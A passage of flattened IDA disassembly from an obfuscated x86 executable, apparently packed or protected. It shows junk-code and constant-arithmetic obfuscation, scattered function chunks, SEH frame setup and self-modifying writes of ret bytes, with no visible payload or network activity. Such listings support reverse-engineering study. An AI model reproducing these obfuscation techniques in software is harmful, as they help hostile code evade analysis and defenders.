CODE XREF: sub_448E3E:loc_44D3A2j xor edi, 1BE4172Fh sub eax, edi pop edi xor eax, 5BB181D9h ; END OF FUNCTION CHUNK FOR sub_448E3E ; START OF FUNCTION CHUNK FOR sub_43B035 loc_43FB36: ; CODE XREF: sub_43B035+2811j rol eax, 1 mov ds:dword_444B00, eax jmp loc_44C1C5 ; END OF FUNCTION CHUNK FOR sub_43B035 ; --------------------------------------------------------------------------- sub eax, 8DFF4553h sub ecx, 0AFF09B4Eh jmp sub_44C4E8 ; --------------------------------------------------------------------------- loc_43FB54: ; DATA XREF: sub_448EB6-89A3o add edx, 0E8255FA5h xchg edx, [esp] jmp sub_44D293 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43FB62: ; CODE XREF: sub_449641:loc_43D702j push edx loc_43FB63: ; CODE XREF: y22d6.y.:loc_43EA7Dj mov edx, eax xchg edx, [esp+0Ch+var_C] loc_43FB68: ; CODE XREF: y22d6.y.:0043A784j call sub_444C6B loc_43FB6D: ; DATA XREF: y22d6.y.:loc_43B50Do xchg edi, [esp+0Ch+var_C] push edx push 0CEF98959h xchg ecx, [esp+0] mov edx, ecx jmp loc_439351 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- loc_43FB80: ; CODE XREF: y22d6.y.:00437FBBj xor edi, 5B9CBFA5h and edi, 23434DE0h xor edi, 5877F91Fh add eax, edi pop edi mov eax, [eax] jmp loc_437D0E ; --------------------------------------------------------------------------- mov esi, [ecx] jmp sub_4411EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43FBA3: ; CODE XREF: sub_44271A+84AAj xchg edi, [eax] or edi, 0C8D0037Ch ; END OF FUNCTION CHUNK FOR sub_44271A ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43FBAB: ; CODE XREF: sub_44B1D2-F8D2j jmp loc_447B8D ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- loc_43FBB0: ; CODE XREF: y22d6.y.:0043F3CDj or ecx, edx loc_43FBB2: ; CODE XREF: y22d6.y.:loc_43F3C5j or esi, 4BD68C96h test esi, 10000000h jmp loc_444913 ; =============== S U B R O U T I N E ======================================= sub_43FBC3 proc near ; CODE XREF: sub_440280:loc_44BA63p ; y22d6.y.:0044D1AEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004391B1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004396A3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00439F8E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043B470 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043B4DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043D374 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DA03 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044128A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00441743 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445CE5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00446EBD SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0044CF9F SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jmp loc_441743 sub_43FBC3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_43FBCC: ; CODE XREF: sub_440280-822Dj ; sub_440280+9184j pop ecx jmp loc_43E911 ; END OF FUNCTION CHUNK FOR sub_440280 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_346. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4448C7 loc_43FBD3: ; CODE XREF: sub_4448C7:loc_439CC5j pop edi xor edi, 0E5E5A624h rol edi, 1Dh add edi, 6E1C7353h mov [edi], eax jmp loc_4396A1 ; END OF FUNCTION CHUNK FOR sub_4448C7 ; --------------------------------------------------------------------------- loc_43FBEA: ; CODE XREF: y22d6.y.:0044C82Cj pop eax and eax, 0A35C2F5Ah xor eax, 0F82D1047h test eax, 80000000h jmp loc_44B525 ; =============== S U B R O U T I N E ======================================= sub_43FC02 proc near ; CODE XREF: y22d6.y.:00440D0Cj ; sub_440F6A+B933p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044A31B SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ebx, [esp-4+arg_0] jmp loc_44A31B sub_43FC02 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44ABDD loc_43FC0F: ; CODE XREF: sub_44ABDD+1j jmp loc_4395A5 ; END OF FUNCTION CHUNK FOR sub_44ABDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4422AA loc_43FC14: ; CODE XREF: sub_4422AA-64E5j jmp loc_44A364 ; END OF FUNCTION CHUNK FOR sub_4422AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A1BC loc_43FC19: ; CODE XREF: sub_43A1BC-EB7j jmp nullsub_36 ; END OF FUNCTION CHUNK FOR sub_43A1BC ; =============== S U B R O U T I N E ======================================= sub_43FC1E proc near ; CODE XREF: y22d6.y.:004391BCp ; y22d6.y.:0044B475j ; FUNCTION CHUNK AT 004404F6 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi mov edx, ds:dword_43DCF4 or edx, edx jnz loc_43774C jmp loc_4404F6 sub_43FC1E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_43FC35: ; CODE XREF: sub_44A359-4D9Cj xor esi, 16C5DD1Fh add esi, 28D55EABh xor esi, 33C397Fh cmp esi, 96C189Ah jmp loc_4382E8 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_43FC52: ; CODE XREF: sub_440280:loc_4488ECj jz loc_44BA63 jmp loc_438E25 ; END OF FUNCTION CHUNK FOR sub_440280 ; =============== S U B R O U T I N E ======================================= sub_43FC5D proc near ; DATA XREF: y22d6.y.:loc_439641o mov eax, [esp+0] push edx push ebx push 7339872h jmp loc_44C2E5 sub_43FC5D endp ; --------------------------------------------------------------------------- and ebp, 32FBB9CCh jmp sub_441E5C ; --------------------------------------------------------------------------- loc_43FC77: ; DATA XREF: sub_43A58D:loc_437D3Do push ecx mov ecx, edx xchg ecx, [esp] push offset sub_438F42 jmp locret_43A711 ; --------------------------------------------------------------------------- loc_43FC87: ; CODE XREF: y22d6.y.:004462E6j not ebp loc_43FC89: ; CODE XREF: y22d6.y.:loc_4462D8j add eax, 0AD6843E3h call sub_43CA1A push edi push 25D2C1C9h pop edi xor edi, 0F248E47Bh jmp loc_44B6BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_43FCA6: ; CODE XREF: sub_444427-ABA6j jge loc_441667 push 0E2A54627h jmp loc_441665 ; END OF FUNCTION CHUNK FOR sub_444427 ; =============== S U B R O U T I N E ======================================= sub_43FCB6 proc near ; CODE XREF: y22d6.y.:0043C4C3j ; sub_44BB81+7p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043D78C SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov edx, [esp-4+arg_0] push eax mov eax, edx nop mov eax, [esp+0] call sub_4480DE jmp loc_43D78C sub_43FCB6 endp ; --------------------------------------------------------------------------- loc_43FCCE: ; CODE XREF: y22d6.y.:loc_4402E0j jz loc_43BF27 jmp loc_4474E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_43FCD9: ; CODE XREF: sub_43B98D+68A8j cmp dword ptr [eax-1Ch], 0F6h jmp loc_44C4CD ; --------------------------------------------------------------------------- loc_43FCE5: ; CODE XREF: sub_43B98D:loc_44221Bj call sub_438BEC loc_43FCEA: ; CODE XREF: sub_448EB6+152Ej jmp loc_43C0B6 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43FCEF: ; CODE XREF: sub_44AEDA-BE91j ; sub_44AEDA:loc_440FF5j mov eax, [ebp-24h] mov ecx, [eax+4] push 41F7810Bh pop eax sub eax, 6203BFBAh jmp loc_442894 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- loc_43FD06: ; CODE XREF: y22d6.y.:loc_43EC15j and ecx, 83B40E88h ror ebx, 0Fh jmp loc_44CC0D ; --------------------------------------------------------------------------- loc_43FD14: ; CODE XREF: y22d6.y.:00441409j pop ebx xor ebx, 87643C43h cmp ebx, 1CC7DF2h jmp loc_43901D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D59A loc_43FD27: ; CODE XREF: sub_43D59A-38F0j jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_43D59A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4419CC loc_43FD2C: ; CODE XREF: y22d6.y.:loc_438C82j ; sub_4419CC-7EEAj push edx call sub_440AF5 mov eax, 276E7523h call sub_43CA1A mov ds:off_41E160, eax jmp loc_44C8A3 ; END OF FUNCTION CHUNK FOR sub_4419CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD2F loc_43FD47: ; CODE XREF: sub_43AD2F+9FCj mov ebp, ebx pop ebx push 0AC1D2D6Bh pop eax add eax, 0BBAAF860h jmp loc_44AE79 ; END OF FUNCTION CHUNK FOR sub_43AD2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_43FD5B: ; CODE XREF: sub_43C65F+Dj jnz loc_43EB04 jmp loc_449EC5 ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- loc_43FD66: ; CODE XREF: y22d6.y.:0043F4DCj jnp loc_440645 add edx, 0ADE94635h rol ecx, 1Dh jmp loc_44443F ; =============== S U B R O U T I N E ======================================= sub_43FD7A proc near ; CODE XREF: sub_4432B8:loc_442334p ; y22d6.y.:00444984j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438DF7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00448691 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx push edi push 0F57C1E66h jmp loc_448691 sub_43FD7A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44571D loc_43FD89: ; CODE XREF: sub_44571D:loc_448ACDj jz loc_449107 jmp loc_440934 ; END OF FUNCTION CHUNK FOR sub_44571D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A041 loc_43FD95: ; CODE XREF: sub_43A041+A27Bj jmp nullsub_305 ; END OF FUNCTION CHUNK FOR sub_43A041 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_43FD9A: ; CODE XREF: sub_444581-CA95j lea eax, dword_43F7E0 call sub_442DA6 loc_43FDA5: ; CODE XREF: sub_444871-15Fj jmp loc_441BE3 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- loc_43FDAA: ; CODE XREF: y22d6.y.:004427CEj jmp locret_444AF8 ; --------------------------------------------------------------------------- loc_43FDAF: ; CODE XREF: y22d6.y.:0043A72Ej jnz loc_43BB3A and edx, 5393AACh ; =============== S U B R O U T I N E ======================================= sub_43FDBB proc near ; CODE XREF: y22d6.y.:00440F9Dp xchg edi, [esp+0] pop edi push esi mov esi, eax xchg esi, [esp+0] push offset sub_445604 jmp nullsub_345 sub_43FDBB endp ; --------------------------------------------------------------------------- loc_43FDCF: ; CODE XREF: y22d6.y.:loc_4396ADj add eax, 9DC52DE7h call sub_43CA1A push esi push 9AA61967h pop esi sub esi, ds:4000E4h xor esi, 9840B64h add esi, 8F0FEC5Dh jmp loc_447247 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B9D9 loc_43FDF8: ; CODE XREF: sub_43B9D9+Dj sub edi, 0F23B2A25h add edi, 0F25FF19Ah xchg edi, [esp+4+var_4] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43B9D9 ; --------------------------------------------------------------------------- push offset sub_43EA64 jmp locret_441829 ; --------------------------------------------------------------------------- mov [edi], ebp jmp sub_44ABB0 ; --------------------------------------------------------------------------- loc_43FE1D: ; CODE XREF: y22d6.y.:0044D7B1j pop ecx ror esi, 4 ; START OF FUNCTION CHUNK FOR sub_43C694 loc_43FE21: ; CODE XREF: sub_43C694:loc_43DA27j add ebx, 45C786ABh or ebx, 0AF0079A5h add ebx, 10CF758Ch xchg ebx, [esp+4+var_4] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43C694 ; =============== S U B R O U T I N E ======================================= sub_43FE3B proc near ; DATA XREF: sub_43910C+F7F6o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043E6A1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D518 SIZE 00000010 BYTES push esi push 53B96955h pop esi sub esi, 14EECEh and esi, 84010FD0h jmp loc_43E6A1 sub_43FE3B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43FE53: ; CODE XREF: sub_44BCC2:loc_43B3A1j mov [ebp+eax-100h], dl inc dword ptr [ebp-108h] inc dword ptr [ebp-104h] jmp loc_44A3B2 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_43FE6B: ; CODE XREF: sub_43BCA9+F3E6j push large dword ptr fs:0 mov large fs:0, esp jmp loc_447768 ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B3C9 loc_43FE7E: ; CODE XREF: sub_44B3C9-100E3j or eax, 0F0A08A35h push offset sub_44C951 jmp loc_43919C ; END OF FUNCTION CHUNK FOR sub_44B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43FE8E: ; CODE XREF: sub_44AEDA:loc_439842j xor ecx, 39396F23h add ecx, eax push eax push 62D93D01h pop eax jmp loc_44DDA0 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E63C loc_43FEA2: ; CODE XREF: sub_44E63C-112D3j add eax, 777DC941h add eax, ebp add eax, 0E6B855BDh call sub_4409F4 loc_43FEB5: ; CODE XREF: y22d6.y.:0044E683j jmp loc_443C70 ; END OF FUNCTION CHUNK FOR sub_44E63C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_43FEBB: ; CODE XREF: sub_44439D-929Aj jmp loc_44B553 ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- loc_43FEC0: ; CODE XREF: y22d6.y.:0043C45Bj jl loc_442B07 ; =============== S U B R O U T I N E ======================================= sub_43FEC6 proc near ; CODE XREF: sub_44C02C:loc_4443D4p ; FUNCTION CHUNK AT 0043A087 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044165B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441C83 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044746B SIZE 00000010 BYTES xchg eax, [esp+0] pop eax push esi mov esi, ecx jmp loc_44165B sub_43FEC6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A5D loc_43FED2: ; CODE XREF: sub_439A5D+10j add edi, 0FFC71A3Fh and edi, 151DED3Ah xor edi, 6CF7535Eh add edi, 83602494h xchg edi, [esp-8+arg_4] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_439A5D ; --------------------------------------------------------------------------- mov ds:dword_41E198, eax jmp loc_44AFD5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_295. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_43FEFE: ; CODE XREF: sub_437FD8+15A58j jmp loc_438B28 ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_43FF03: ; CODE XREF: sub_4416F3-838j sbb ebp, 7CB1A750h popf test edx, 4A73DDA9h jmp loc_44B36B ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- loc_43FF15: ; CODE XREF: y22d6.y.:0044AF1Ej jge loc_43DF73 ; =============== S U B R O U T I N E ======================================= sub_43FF1B proc near ; CODE XREF: sub_44256D+3830p ; FUNCTION CHUNK AT 00444365 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00447784 SIZE 00000010 BYTES xchg ebx, [esp+0] loc_43FF1E: ; CODE XREF: y22d6.y.:0043F877j pop ebx call sub_44C758 mov eax, 0CB39536Bh jmp loc_444365 sub_43FF1B endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 78BDA40Ah push esi push 0BDBD3780h pop esi xor esi, 37405F6Bh cmp esi, 0B078F0A1h jmp loc_44797C ; --------------------------------------------------------------------------- loc_43FF4B: ; DATA XREF: sub_44A359-C055o push ecx call sub_441191 ; START OF FUNCTION CHUNK FOR sub_43B0EE loc_43FF51: ; CODE XREF: sub_43B0EE+Aj jmp loc_43E766 ; END OF FUNCTION CHUNK FOR sub_43B0EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_43FF56: ; CODE XREF: sub_43FAC6-5CBAj jmp loc_442F68 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_43FF5B: ; CODE XREF: y22d6.y.:00437143j jmp sub_43B58F ; --------------------------------------------------------------------------- loc_43FF60: ; CODE XREF: y22d6.y.:0044A251j call sub_438F17 push 8F20321Bh pop eax or eax, 0E86E3766h jnz loc_444814 ; START OF FUNCTION CHUNK FOR sub_44E2B6 loc_43FF77: ; CODE XREF: sub_44E2B6-853Cj jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_44E2B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442245 loc_43FF7C: ; CODE XREF: sub_442245+1Bj jmp loc_439BD5 ; END OF FUNCTION CHUNK FOR sub_442245 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_43FF81: ; CODE XREF: sub_44B489-D642j jmp loc_44AA97 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- jge loc_43CC63 and ebp, 5ADA89FFh jmp loc_437008 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44999F loc_43FF97: ; CODE XREF: sub_44999F+Cj mov eax, esi pop esi and eax, 0F72FB13Eh cmp eax, 257225DDh jmp loc_43DD19 ; END OF FUNCTION CHUNK FOR sub_44999F ; --------------------------------------------------------------------------- loc_43FFAB: ; DATA XREF: sub_43A1BC:loc_439300o call sub_43FFBB locret_43FFB0: ; CODE XREF: y22d6.y.:loc_4392FAj retn ; --------------------------------------------------------------------------- loc_43FFB1: ; CODE XREF: y22d6.y.:0044E0E3j jmp loc_44C65A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_43FFB6: ; CODE XREF: sub_440280+AFBBj jmp loc_44C368 ; END OF FUNCTION CHUNK FOR sub_440280 ; =============== S U B R O U T I N E ======================================= sub_43FFBB proc near ; CODE XREF: y22d6.y.:loc_43FFABp ; FUNCTION CHUNK AT 0043BC11 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440BF7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448797 SIZE 0000000F BYTES push ebx push ecx jmp loc_43BC11 sub_43FFBB endp ; =============== S U B R O U T I N E ======================================= sub_43FFC2 proc near ; DATA XREF: sub_448EB6+4C4Ao lea eax, dword_4391A4 push esi mov esi, eax push offset sub_448422 jmp loc_4485C2 sub_43FFC2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC92 loc_43FFD5: ; CODE XREF: sub_43EC92-759Aj jnp loc_444D2F loc_43FFDB: ; CODE XREF: sub_448EB6+2D9j sub ebx, edx jmp loc_449FD9 ; END OF FUNCTION CHUNK FOR sub_43EC92 ; =============== S U B R O U T I N E ======================================= sub_43FFE2 proc near ; CODE XREF: sub_44B17B-14082p ; y22d6.y.:0043F7A6j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438D2A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043BAD1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BCF7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043CC91 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043E7E3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043F55E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043F7D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440081 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004408A7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440E27 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004415E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044201A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00442747 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004439B5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00447E99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004492B6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044A60A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044AE9B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C24A SIZE 00000005 BYTES xchg edx, [esp+4+var_4] pop edx add edx, 9DEA3A7Bh mov [edx], eax jmp loc_4415E1 sub_43FFE2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp ds:off_41E044 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43FFF9: ; CODE XREF: sub_4432B8-F72j ; sub_4382FE:loc_444F5Fj ... jnb loc_447015 xchg ebx, [esp+0] loc_440002: ; CODE XREF: sub_440330+CA5Dj mov edx, ebx pop ebx mov eax, [esp-4+arg_0] push edx call sub_43BE66 jmp loc_446FF7 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_440013: ; CODE XREF: y22d6.y.:loc_44C97Bj jnb loc_43E65D loc_440019: ; CODE XREF: y22d6.y.:00441069j jmp loc_440C07 ; --------------------------------------------------------------------------- add ebx, 96F6F699h jmp loc_43E65B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448B90 loc_440029: ; CODE XREF: sub_448B90+1j mov ebp, esp call sub_43C538 loc_440030: ; CODE XREF: sub_44AA69+84Aj jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_448B90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_440035: ; CODE XREF: sub_43C6D7+F741j ja loc_43F8E2 xchg eax, [edx] xchg ecx, esi jmp loc_44E4C8 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B0EE loc_440044: ; CODE XREF: sub_43B0EE-1D34j cdq pushf loc_440046: ; CODE XREF: sub_43B0EE:loc_44CF5Fj call sub_43760A mov edx, 0C231F698h call sub_44D293 push eax ror eax, 15h jmp loc_438E1B ; END OF FUNCTION CHUNK FOR sub_43B0EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44005E: ; CODE XREF: sub_44057E:loc_44B58Aj popf test esi, 6F9BACF9h jmp loc_43F713 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- pop ecx jmp loc_4451AD ; --------------------------------------------------------------------------- locret_440070: ; CODE XREF: y22d6.y.:loc_442EDEj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444E14 loc_440071: ; CODE XREF: sub_444E14+4F44j jmp loc_43D33F ; END OF FUNCTION CHUNK FOR sub_444E14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438077 loc_440076: ; CODE XREF: sub_438077+49FBj jmp nullsub_342 ; END OF FUNCTION CHUNK FOR sub_438077 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA5D loc_44007C: ; CODE XREF: sub_44AA5D-7CBj jmp loc_449D85 ; END OF FUNCTION CHUNK FOR sub_44AA5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_440081: ; CODE XREF: sub_43FFE2+39E7j jmp loc_43CC91 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C921 loc_440086: ; CODE XREF: sub_44C921:loc_44056Ej lea eax, loc_4450EC mov byte ptr [eax], 0C3h jmp loc_4450EC ; END OF FUNCTION CHUNK FOR sub_44C921 ; --------------------------------------------------------------------------- push ecx push 0DB89D641h pop ecx rol ecx, 0Bh xor ecx, 0F5FA3DF2h cmp ecx, 95A860CFh jmp loc_4481DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44ABAA loc_4400AF: ; CODE XREF: sub_44ABAA:loc_440488j mov ebp, esp add esp, 0FFFFFFECh call sub_43D7AB ; END OF FUNCTION CHUNK FOR sub_44ABAA ; START OF FUNCTION CHUNK FOR sub_4385ED loc_4400B9: ; CODE XREF: sub_4385ED:loc_4408E5j shl eax, 2 cdq jno loc_442A6C add eax, [esp-0Ch+arg_8] call sub_4489FA loc_4400CB: ; CODE XREF: sub_43D246+104AAj jmp loc_441522 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_4400D0: ; CODE XREF: sub_44B17B-A4F9j jmp loc_43D732 ; END OF FUNCTION CHUNK FOR sub_44B17B ; =============== S U B R O U T I N E ======================================= sub_4400D5 proc near ; DATA XREF: y22d6.y.:00443264o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043C04F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043CF60 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043E155 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F883 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00449ED7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044E22A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044E55D SIZE 00000016 BYTES push ecx push 538E913Fh xchg esi, [esp+8+var_8] mov ecx, esi pop esi rol ecx, 12h test ecx, 200000h jmp loc_449ED7 sub_4400D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4400EF proc near ; CODE XREF: y22d6.y.:00442EC9p ; y22d6.y.:004440CCj xchg ecx, [esp+0] pop ecx jnz loc_444D67 mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_444D67 sub_4400EF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_440105: ; CODE XREF: sub_43837F+4j ; sub_43837F+27CAj cmp dword ptr [ebp-1Ch], 67h jmp loc_438F50 ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44529A loc_44010E: ; CODE XREF: sub_44529A:loc_43F143j and edx, ds:4000E6h add edx, 743DBF5Ch mov [edx], eax pop edx jmp loc_43E949 ; END OF FUNCTION CHUNK FOR sub_44529A ; --------------------------------------------------------------------------- loc_440122: ; CODE XREF: y22d6.y.:0043CDF2j cmp ebx, 2F74D19Dh jmp loc_446E2D ; --------------------------------------------------------------------------- add ecx, eax jmp loc_448B13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_440134: ; CODE XREF: sub_439051:loc_43B791j cmp edi, ecx jmp loc_4398CA ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- mov ds:dword_41E134, eax lea eax, nullsub_351 mov byte ptr [eax], 0C3h jmp loc_44C989 ; --------------------------------------------------------------------------- push ebx push 0FDFA59E6h xchg eax, [esp] mov ebx, eax jmp loc_44B590 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_44015F: ; CODE XREF: sub_43C712:loc_43AC69j popf xchg eax, [esp+0] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_440168: ; CODE XREF: sub_4432B8-3B06j ; sub_4432B8:loc_44A43Cj ... call sub_44D793 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; START OF FUNCTION CHUNK FOR sub_44D063 loc_44016D: ; CODE XREF: sub_44D063+13j jmp loc_438262 ; END OF FUNCTION CHUNK FOR sub_44D063 ; [00000001 BYTES: 